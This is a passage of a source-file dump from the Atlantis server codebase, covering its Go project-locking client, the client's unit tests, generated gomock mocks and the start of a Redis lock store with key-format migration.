TryLockResponse{}, err\n\t}\n\treturn TryLockResponse{lockAcquired, currLock, c.key(p, workspace)}, nil\n}\n\n// Unlock attempts to unlock a project and workspace. If successful,\n// a pointer to the now deleted lock will be returned. Else, that\n// pointer will be nil. An error will only be returned if there was\n// an error deleting the lock (i.e. not if there was no lock).\nfunc (c *Client) Unlock(key string) (*models.ProjectLock, error) {\n\tproject, workspace, err := c.lockKeyToProjectWorkspace(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn c.database.Unlock(project, workspace)\n}\n\n// List returns a map of all locks with their lock key as the map key.\n// The lock key can be used in GetLock() and Unlock().\nfunc (c *Client) List() (map[string]models.ProjectLock, error) {\n\tm := make(map[string]models.ProjectLock)\n\tlocks, err := c.database.List()\n\tif err != nil {\n\t\treturn m, err\n\t}\n\tfor _, lock := range locks {\n\t\tm[c.key(lock.Project, lock.Workspace)] = lock\n\t}\n\treturn m, nil\n}\n\n// UnlockByPull deletes all locks associated with that pull request.\nfunc (c *Client) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) {\n\treturn c.database.UnlockByPull(repoFullName, pullNum)\n}\n\n// GetLock attempts to get the lock stored at key. If successful,\n// a pointer to the lock will be returned. Else, the pointer will be nil.\n// An error will only be returned if there was an error getting the lock\n// (i.e. not if there was no lock).\nfunc (c *Client) GetLock(key string) (*models.ProjectLock, error) {\n\tproject, workspace, err := c.lockKeyToProjectWorkspace(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tprojectLock, err := c.database.GetLock(project, workspace)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn projectLock, nil\n}\n\nfunc (c *Client) key(p models.Project, workspace string) string {\n\treturn models.GenerateLockKey(p, workspace)\n}\n\nfunc IsCurrentLocking(key string) ([]string, error) {\n\tmatches := keyRegex.FindStringSubmatch(key)\n\tif len(matches) != 5 {\n\t\treturn []string{}, errors.New(\"invalid key format\")\n\t}\n\treturn matches, nil\n}\n\nfunc (c *Client) lockKeyToProjectWorkspace(key string) (models.Project, string, error) {\n\tmatches, err := IsCurrentLocking(key)\n\tif err != nil {\n\t\treturn models.Project{}, \"\", err\n\t}\n\treturn models.Project{RepoFullName: matches[1], Path: matches[2], ProjectName: matches[4]}, matches[3], nil\n}\n\ntype NoOpLocker struct{}\n\n// NewNoOpLocker returns a new lno operation lockingclient.\nfunc NewNoOpLocker() *NoOpLocker {\n\treturn &NoOpLocker{}\n}\n\n// TryLock attempts to acquire a lock to a project and workspace.\nfunc (c *NoOpLocker) TryLock(p models.Project, workspace string, _ models.PullRequest, _ models.User) (TryLockResponse, error) {\n\treturn TryLockResponse{true, models.ProjectLock{}, c.key(p, workspace)}, nil\n}\n\n// Unlock attempts to unlock a project and workspace. If successful,\n// a pointer to the now deleted lock will be returned. Else, that\n// pointer will be nil. An error will only be returned if there was\n// an error deleting the lock (i.e. not if there was no lock).\nfunc (c *NoOpLocker) Unlock(_ string) (*models.ProjectLock, error) {\n\treturn &models.ProjectLock{}, nil\n}\n\n// List returns a map of all locks with their lock key as the map key.\n// The lock key can be used in GetLock() and Unlock().\nfunc (c *NoOpLocker) List() (map[string]models.ProjectLock, error) {\n\tm := make(map[string]models.ProjectLock)\n\treturn m, nil\n}\n\n// UnlockByPull deletes all locks associated with that pull request.\nfunc (c *NoOpLocker) UnlockByPull(_ string, _ int) ([]models.ProjectLock, error) {\n\treturn []models.ProjectLock{}, nil\n}\n\n// GetLock attempts to get the lock stored at key. If successful,\n// a pointer to the lock will be returned. Else, the pointer will be nil.\n// An error will only be returned if there was an error getting the lock\n// (i.e. not if there was no lock).\nfunc (c *NoOpLocker) GetLock(_ string) (*models.ProjectLock, error) {\n\treturn nil, nil\n}\n\nfunc (c *NoOpLocker) key(p models.Project, workspace string) string {\n\treturn models.GenerateLockKey(p, workspace)\n}\n"
  },
  {
    "path": "server/core/locking/locking_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage locking_test\n\nimport (\n\t\"errors\"\n\t\"testing\"\n\t\"time\"\n\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/db/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nvar project = models.NewProject(\"owner/repo\", \"path\", \"projectName\")\nvar workspace = \"workspace\"\nvar pull = models.PullRequest{}\nvar user = models.User{}\nvar errExpected = errors.New(\"err\")\nvar timeNow = time.Now().Local()\nvar pl = models.ProjectLock{Project: project, Pull: pull, User: user, Workspace: workspace, Time: timeNow}\n\nfunc TestTryLock_Err(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().TryLock(gomock.Any()).Return(false, models.ProjectLock{}, errExpected)\n\tt.Log(\"when the database returns an error, TryLock should return that error\")\n\tl := locking.NewClient(database)\n\t_, err := l.TryLock(project, workspace, pull, user)\n\tEquals(t, errExpected, err)\n}\n\nfunc TestTryLock_Success(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tcurrLock := models.ProjectLock{}\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().TryLock(gomock.Any()).Return(true, currLock, nil)\n\tl := locking.NewClient(database)\n\tr, err := l.TryLock(project, workspace, pull, user)\n\tOk(t, err)\n\tEquals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: \"owner/repo/path/workspace/projectName\"}, r)\n}\n\nfunc TestUnlock_InvalidKey(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tl := locking.NewClient(database)\n\n\t_, err := l.Unlock(\"invalidkey\")\n\tAssert(t, err != nil, \"expected err\")\n\tAssert(t, strings.Contains(err.Error(), \"invalid key format\"), \"expected err\")\n}\n\nfunc TestUnlock_Err(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().Unlock(project, \"workspace\").Return(nil, errExpected).Times(1)\n\tl := locking.NewClient(database)\n\t_, err := l.Unlock(\"owner/repo/path/workspace/projectName\")\n\tEquals(t, errExpected, err)\n}\n\nfunc TestUnlock(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().Unlock(gomock.Any(), gomock.Any()).Return(&pl, nil)\n\tl := locking.NewClient(database)\n\tlock, err := l.Unlock(\"owner/repo/path/workspace/projectName\")\n\tOk(t, err)\n\tEquals(t, &pl, lock)\n}\n\nfunc TestList_Err(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().List().Return(nil, errExpected)\n\tl := locking.NewClient(database)\n\t_, err := l.List()\n\tEquals(t, errExpected, err)\n}\n\nfunc TestList(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().List().Return([]models.ProjectLock{pl}, nil)\n\tl := locking.NewClient(database)\n\tlist, err := l.List()\n\tOk(t, err)\n\tEquals(t, map[string]models.ProjectLock{\n\t\t\"owner/repo/path/workspace/projectName\": pl,\n\t}, list)\n}\n\nfunc TestUnlockByPull(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().UnlockByPull(\"owner/repo\", 1).Return(nil, errExpected)\n\tl := locking.NewClient(database)\n\t_, err := l.UnlockByPull(\"owner/repo\", 1)\n\tEquals(t, errExpected, err)\n}\n\nfunc TestGetLock_BadKey(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tl := locking.NewClient(database)\n\t_, err := l.GetLock(\"invalidkey\")\n\tAssert(t, err != nil, \"err should not be nil\")\n\tAssert(t, strings.Contains(err.Error(), \"invalid key format\"), \"expected different err\")\n}\n\nfunc TestGetLock_Err(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().GetLock(project, workspace).Return(nil, errExpected)\n\tl := locking.NewClient(database)\n\t_, err := l.GetLock(\"owner/repo/path/workspace/projectName\")\n\tEquals(t, errExpected, err)\n}\n\nfunc TestGetLock(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdatabase := mocks.NewMockDatabase(ctrl)\n\tdatabase.EXPECT().GetLock(project, workspace).Return(&pl, nil)\n\tl := locking.NewClient(database)\n\tlock, err := l.GetLock(\"owner/repo/path/workspace/projectName\")\n\tOk(t, err)\n\tEquals(t, &pl, lock)\n}\n\nfunc TestTryLock_NoOpLocker(t *testing.T) {\n\tcurrLock := models.ProjectLock{}\n\tl := locking.NewNoOpLocker()\n\tr, err := l.TryLock(project, workspace, pull, user)\n\tOk(t, err)\n\tEquals(t, locking.TryLockResponse{LockAcquired: true, CurrLock: currLock, LockKey: \"owner/repo/path/workspace/projectName\"}, r)\n}\n\nfunc TestUnlock_NoOpLocker(t *testing.T) {\n\tl := locking.NewNoOpLocker()\n\tlock, err := l.Unlock(\"owner/repo/path/workspace/projectName\")\n\tOk(t, err)\n\tEquals(t, &models.ProjectLock{}, lock)\n}\n\nfunc TestList_NoOpLocker(t *testing.T) {\n\tl := locking.NewNoOpLocker()\n\tlist, err := l.List()\n\tOk(t, err)\n\tEquals(t, map[string]models.ProjectLock{}, list)\n}\n\nfunc TestUnlockByPull_NoOpLocker(t *testing.T) {\n\tl := locking.NewNoOpLocker()\n\t_, err := l.UnlockByPull(\"owner/repo\", 1)\n\tOk(t, err)\n}\n\nfunc TestGetLock_NoOpLocker(t *testing.T) {\n\tl := locking.NewNoOpLocker()\n\tlock, err := l.GetLock(\"owner/repo/path/workspace/projectName\")\n\tOk(t, err)\n\tvar expected *models.ProjectLock\n\tEquals(t, expected, lock)\n}\n\nfunc TestApplyLocker(t *testing.T) {\n\tapplyLock := &command.Lock{\n\t\tCommandName: command.Apply,\n\t\tLockMetadata: command.LockMetadata{\n\t\t\tUnixTime: time.Now().Unix(),\n\t\t},\n\t}\n\n\tt.Run(\"LockApply\", func(t *testing.T) {\n\t\tt.Run(\"database errors\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().LockCommand(gomock.Any(), gomock.Any()).Return(nil, errExpected)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\tlock, err := l.LockApply()\n\t\t\tEquals(t, errExpected, err)\n\t\t\tAssert(t, !lock.Locked, \"exp false\")\n\t\t})\n\n\t\tt.Run(\"can't lock if apply is omitted from userConfig.AllowCommands\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tl := locking.NewApplyClient(database, true, false)\n\t\t\t_, err := l.LockApply()\n\t\t\tErrEquals(t, \"apply is omitted from AllowCommands; Apply commands are locked globally until flag is updated\", err)\n\n\t\t\t// gomock will fail if LockCommand is called unexpectedly (no EXPECT set)\n\t\t})\n\n\t\tt.Run(\"succeeds\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().LockCommand(gomock.Any(), gomock.Any()).Return(applyLock, nil)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\tlock, _ := l.LockApply()\n\t\t\tAssert(t, lock.Locked, \"exp lock present\")\n\t\t})\n\t})\n\n\tt.Run(\"UnlockApply\", func(t *testing.T) {\n\t\tt.Run(\"database fails\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().UnlockCommand(gomock.Any()).Return(errExpected)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\terr := l.UnlockApply()\n\t\t\tEquals(t, errExpected, err)\n\t\t})\n\n\t\tt.Run(\"can't lock if apply is omitted from userConfig.AllowCommands\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tl := locking.NewApplyClient(database, true, false)\n\t\t\terr := l.UnlockApply()\n\t\t\tErrEquals(t, \"apply commands are disabled until AllowCommands flag is updated\", err)\n\n\t\t\t// gomock will fail if UnlockCommand is called unexpectedly (no EXPECT set)\n\t\t})\n\n\t\tt.Run(\"succeeds\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().UnlockCommand(gomock.Any()).Return(nil)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\terr := l.UnlockApply()\n\t\t\tEquals(t, nil, err)\n\t\t})\n\n\t})\n\n\tt.Run(\"CheckApplyLock\", func(t *testing.T) {\n\t\tt.Run(\"fails\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().CheckCommandLock(gomock.Any()).Return(nil, errExpected)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\tlock, err := l.CheckApplyLock()\n\t\t\tEquals(t, errExpected, err)\n\t\t\tEquals(t, lock.Locked, false)\n\t\t})\n\n\t\tt.Run(\"when apply is not in AllowCommands always return a lock\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tl := locking.NewApplyClient(database, true, false)\n\t\t\tlock, err := l.CheckApplyLock()\n\t\t\tOk(t, err)\n\t\t\tEquals(t, lock.Locked, true)\n\t\t\t// gomock will fail if CheckCommandLock is called unexpectedly (no EXPECT set)\n\t\t})\n\n\t\tt.Run(\"UnlockCommand succeeds\", func(t *testing.T) {\n\t\t\tctrl := gomock.NewController(t)\n\t\t\tdatabase := mocks.NewMockDatabase(ctrl)\n\n\t\t\tdatabase.EXPECT().CheckCommandLock(gomock.Any()).Return(applyLock, nil)\n\t\t\tl := locking.NewApplyClient(database, false, false)\n\t\t\tlock, err := l.CheckApplyLock()\n\t\t\tEquals(t, nil, err)\n\t\t\tAssert(t, lock.Locked, \"exp lock present\")\n\t\t})\n\t})\n}\n\nfunc TestIsCurrentLocking_ValidKey(t *testing.T) {\n\tt.Log(\"IsCurrentLocking should succeed with valid key format\")\n\tkey := \"owner/repo/path/workspace/projectName\"\n\tmatches, err := locking.IsCurrentLocking(key)\n\tOk(t, err)\n\tEquals(t, 5, len(matches))\n\tEquals(t, \"owner/repo\", matches[1])\n\tEquals(t, \"path\", matches[2])\n\tEquals(t, \"workspace\", matches[3])\n\tEquals(t, \"projectName\", matches[4])\n}\n\nfunc TestIsCurrentLocking_ValidKeyWithNestedPath(t *testing.T) {\n\tt.Log(\"IsCurrentLocking should succeed with nested path\")\n\tkey := \"owner/repo/parent/child/path/workspace/projectName\"\n\tmatches, err := locking.IsCurrentLocking(key)\n\tOk(t, err)\n\tEquals(t, 5, len(matches))\n\tEquals(t, \"owner/repo\", matches[1])\n\tEquals(t, \"parent/child/path\", matches[2])\n\tEquals(t, \"workspace\", matches[3])\n\tEquals(t, \"projectName\", matches[4])\n}\n\nfunc TestIsCurrentLocking_InvalidKeyOldFormat(t *testing.T) {\n\tt.Log(\"IsCurrentLocking should fail with old format key (3 parts)\")\n\tkey := \"owner/repo/path/workspace\"\n\t_, err := locking.IsCurrentLocking(key)\n\tAssert(t, err != nil, \"expected error for old format\")\n\tAssert(t, strings.Contains(err.Error(), \"invalid key format\"), \"expected invalid key format error\")\n}\n\nfunc TestIsCurrentLocking_InvalidKeySinglePart(t *testing.T) {\n\tt.Log(\"IsCurrentLocking should fail with single part key\")\n\tkey := \"invalidkey\"\n\t_, err := locking.IsCurrentLocking(key)\n\tAssert(t, err != nil, \"expected error for invalid key\")\n\tAssert(t, strings.Contains(err.Error(), \"invalid key format\"), \"expected invalid key format error\")\n}\n\nfunc TestIsCurrentLocking_EmptyKey(t *testing.T) {\n\tt.Log(\"IsCurrentLocking should fail with empty key\")\n\tkey := \"\"\n\t_, err := locking.IsCurrentLocking(key)\n\tAssert(t, err != nil, \"expected error for empty key\")\n\tAssert(t, strings.Contains(err.Error(), \"invalid key format\"), \"expected invalid key format error\")\n}\n"
  },
  {
    "path": "server/core/locking/mocks/mock_apply_lock_checker.go",
    "content": "// Code generated by MockGen. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLockChecker)\n//\n// Generated by this command:\n//\n//\tmockgen -package mocks -destination mocks/mock_apply_lock_checker.go . ApplyLockChecker\n//\n\n// Package mocks is a generated GoMock package.\npackage mocks\n\nimport (\n\treflect \"reflect\"\n\n\tlocking \"github.com/runatlantis/atlantis/server/core/locking\"\n\tgomock \"go.uber.org/mock/gomock\"\n)\n\n// MockApplyLockChecker is a mock of ApplyLockChecker interface.\ntype MockApplyLockChecker struct {\n\tctrl     *gomock.Controller\n\trecorder *MockApplyLockCheckerMockRecorder\n\tisgomock struct{}\n}\n\n// MockApplyLockCheckerMockRecorder is the mock recorder for MockApplyLockChecker.\ntype MockApplyLockCheckerMockRecorder struct {\n\tmock *MockApplyLockChecker\n}\n\n// NewMockApplyLockChecker creates a new mock instance.\nfunc NewMockApplyLockChecker(ctrl *gomock.Controller) *MockApplyLockChecker {\n\tmock := &MockApplyLockChecker{ctrl: ctrl}\n\tmock.recorder = &MockApplyLockCheckerMockRecorder{mock}\n\treturn mock\n}\n\n// EXPECT returns an object that allows the caller to indicate expected use.\nfunc (m *MockApplyLockChecker) EXPECT() *MockApplyLockCheckerMockRecorder {\n\treturn m.recorder\n}\n\n// CheckApplyLock mocks base method.\nfunc (m *MockApplyLockChecker) CheckApplyLock() (locking.ApplyCommandLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CheckApplyLock\")\n\tret0, _ := ret[0].(locking.ApplyCommandLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// CheckApplyLock indicates an expected call of CheckApplyLock.\nfunc (mr *MockApplyLockCheckerMockRecorder) CheckApplyLock() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CheckApplyLock\", reflect.TypeOf((*MockApplyLockChecker)(nil).CheckApplyLock))\n}\n"
  },
  {
    "path": "server/core/locking/mocks/mock_apply_locker.go",
    "content": "// Code generated by MockGen. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: ApplyLocker)\n//\n// Generated by this command:\n//\n//\tmockgen -package mocks -destination mocks/mock_apply_locker.go . ApplyLocker\n//\n\n// Package mocks is a generated GoMock package.\npackage mocks\n\nimport (\n\treflect \"reflect\"\n\n\tlocking \"github.com/runatlantis/atlantis/server/core/locking\"\n\tgomock \"go.uber.org/mock/gomock\"\n)\n\n// MockApplyLocker is a mock of ApplyLocker interface.\ntype MockApplyLocker struct {\n\tctrl     *gomock.Controller\n\trecorder *MockApplyLockerMockRecorder\n\tisgomock struct{}\n}\n\n// MockApplyLockerMockRecorder is the mock recorder for MockApplyLocker.\ntype MockApplyLockerMockRecorder struct {\n\tmock *MockApplyLocker\n}\n\n// NewMockApplyLocker creates a new mock instance.\nfunc NewMockApplyLocker(ctrl *gomock.Controller) *MockApplyLocker {\n\tmock := &MockApplyLocker{ctrl: ctrl}\n\tmock.recorder = &MockApplyLockerMockRecorder{mock}\n\treturn mock\n}\n\n// EXPECT returns an object that allows the caller to indicate expected use.\nfunc (m *MockApplyLocker) EXPECT() *MockApplyLockerMockRecorder {\n\treturn m.recorder\n}\n\n// CheckApplyLock mocks base method.\nfunc (m *MockApplyLocker) CheckApplyLock() (locking.ApplyCommandLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CheckApplyLock\")\n\tret0, _ := ret[0].(locking.ApplyCommandLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// CheckApplyLock indicates an expected call of CheckApplyLock.\nfunc (mr *MockApplyLockerMockRecorder) CheckApplyLock() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"CheckApplyLock\", reflect.TypeOf((*MockApplyLocker)(nil).CheckApplyLock))\n}\n\n// LockApply mocks base method.\nfunc (m *MockApplyLocker) LockApply() (locking.ApplyCommandLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"LockApply\")\n\tret0, _ := ret[0].(locking.ApplyCommandLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// LockApply indicates an expected call of LockApply.\nfunc (mr *MockApplyLockerMockRecorder) LockApply() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"LockApply\", reflect.TypeOf((*MockApplyLocker)(nil).LockApply))\n}\n\n// UnlockApply mocks base method.\nfunc (m *MockApplyLocker) UnlockApply() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UnlockApply\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}\n\n// UnlockApply indicates an expected call of UnlockApply.\nfunc (mr *MockApplyLockerMockRecorder) UnlockApply() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UnlockApply\", reflect.TypeOf((*MockApplyLocker)(nil).UnlockApply))\n}\n"
  },
  {
    "path": "server/core/locking/mocks/mock_locker.go",
    "content": "// Code generated by MockGen. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/locking (interfaces: Locker)\n//\n// Generated by this command:\n//\n//\tmockgen -package mocks -destination mocks/mock_locker.go . Locker\n//\n\n// Package mocks is a generated GoMock package.\npackage mocks\n\nimport (\n\treflect \"reflect\"\n\n\tlocking \"github.com/runatlantis/atlantis/server/core/locking\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tgomock \"go.uber.org/mock/gomock\"\n)\n\n// MockLocker is a mock of Locker interface.\ntype MockLocker struct {\n\tctrl     *gomock.Controller\n\trecorder *MockLockerMockRecorder\n\tisgomock struct{}\n}\n\n// MockLockerMockRecorder is the mock recorder for MockLocker.\ntype MockLockerMockRecorder struct {\n\tmock *MockLocker\n}\n\n// NewMockLocker creates a new mock instance.\nfunc NewMockLocker(ctrl *gomock.Controller) *MockLocker {\n\tmock := &MockLocker{ctrl: ctrl}\n\tmock.recorder = &MockLockerMockRecorder{mock}\n\treturn mock\n}\n\n// EXPECT returns an object that allows the caller to indicate expected use.\nfunc (m *MockLocker) EXPECT() *MockLockerMockRecorder {\n\treturn m.recorder\n}\n\n// GetLock mocks base method.\nfunc (m *MockLocker) GetLock(key string) (*models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetLock\", key)\n\tret0, _ := ret[0].(*models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// GetLock indicates an expected call of GetLock.\nfunc (mr *MockLockerMockRecorder) GetLock(key any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetLock\", reflect.TypeOf((*MockLocker)(nil).GetLock), key)\n}\n\n// List mocks base method.\nfunc (m *MockLocker) List() (map[string]models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"List\")\n\tret0, _ := ret[0].(map[string]models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// List indicates an expected call of List.\nfunc (mr *MockLockerMockRecorder) List() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"List\", reflect.TypeOf((*MockLocker)(nil).List))\n}\n\n// TryLock mocks base method.\nfunc (m *MockLocker) TryLock(p models.Project, workspace string, pull models.PullRequest, user models.User) (locking.TryLockResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"TryLock\", p, workspace, pull, user)\n\tret0, _ := ret[0].(locking.TryLockResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// TryLock indicates an expected call of TryLock.\nfunc (mr *MockLockerMockRecorder) TryLock(p, workspace, pull, user any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"TryLock\", reflect.TypeOf((*MockLocker)(nil).TryLock), p, workspace, pull, user)\n}\n\n// Unlock mocks base method.\nfunc (m *MockLocker) Unlock(key string) (*models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Unlock\", key)\n\tret0, _ := ret[0].(*models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// Unlock indicates an expected call of Unlock.\nfunc (mr *MockLockerMockRecorder) Unlock(key any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Unlock\", reflect.TypeOf((*MockLocker)(nil).Unlock), key)\n}\n\n// UnlockByPull mocks base method.\nfunc (m *MockLocker) UnlockByPull(repoFullName string, pullNum int) ([]models.ProjectLock, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UnlockByPull\", repoFullName, pullNum)\n\tret0, _ := ret[0].([]models.ProjectLock)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}\n\n// UnlockByPull indicates an expected call of UnlockByPull.\nfunc (mr *MockLockerMockRecorder) UnlockByPull(repoFullName, pullNum any) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UnlockByPull\", reflect.TypeOf((*MockLocker)(nil).UnlockByPull), repoFullName, pullNum)\n}\n"
  },
  {
    "path": "server/core/redis/redis.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\n// Package redis handles our remote database layer.\npackage redis\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/pkg/errors\"\n\t\"github.com/redis/go-redis/v9\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\nvar ctx = context.Background()\n\n// Redis is a database using Redis 6\ntype RedisDB struct { // nolint: revive\n\tclient *redis.Client\n}\n\nconst (\n\tpullKeySeparator = \"::\"\n)\n\nfunc New(hostname string, port int, password string, tlsEnabled bool, insecureSkipVerify bool, db int) (*RedisDB, error) {\n\tvar rdb *redis.Client\n\n\tvar tlsConfig *tls.Config\n\tif tlsEnabled {\n\t\ttlsConfig = &tls.Config{\n\t\t\tMinVersion:         tls.VersionTLS12,\n\t\t\tInsecureSkipVerify: insecureSkipVerify, //nolint:gosec // In some cases, users may want to use this at their own caution\n\t\t}\n\t}\n\n\trdb = redis.NewClient(&redis.Options{\n\t\tAddr:      fmt.Sprintf(\"%s:%d\", hostname, port),\n\t\tPassword:  password,\n\t\tDB:        db,\n\t\tTLSConfig: tlsConfig,\n\t})\n\n\t// Check if connection is valid\n\terr := rdb.Ping(ctx).Err()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to connect to redis instance at %s:%d: %w\", hostname, port, err)\n\t}\n\n\t// Migrate old lock keys to new format.\n\t// Old format: pr/{repoFullName}/{path}/{workspace}\n\t// New format: pr/{repoFullName}/{path}/{workspace}/{projectName}\n\t// We scan all keys and for those that don't match the new format,\n\t// we read their value, create a new key with the new format and\n\t// delete the old key.\n\tallKeys := rdb.Keys(ctx, \"pr/*\")\n\tfor _, oldKey := range allKeys.Val() {\n\t\t// Remove the \"pr/\" prefix to validate the key format\n\t\tkeyWithoutPrefix := strings.TrimPrefix(oldKey, \"pr/\")\n\n\t\t_, err := locking.IsCurrentLocking(keyWithoutPrefix)\n\t\tif err != nil {\n\t\t\tvar currLock models.ProjectLock\n\t\t\toldValue, err := rdb.Get(ctx, oldKey).Result()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to get current lock\")\n\t\t\t}\n\t\t\tif err := json.Unmarshal([]byte(oldValue), &currLock); err != nil {\n\t\t\t\treturn nil, errors.Wrap(err, \"failed to deserialize current lock\")\n\t\t\t}\n\t\t\tnewKey := fmt.Sprintf(\"pr/%s\", models.GenerateLockKey(currLock.Project, currLock.Workspace))\n\t\t\trdb.Set(ctx, newKey, oldValue, 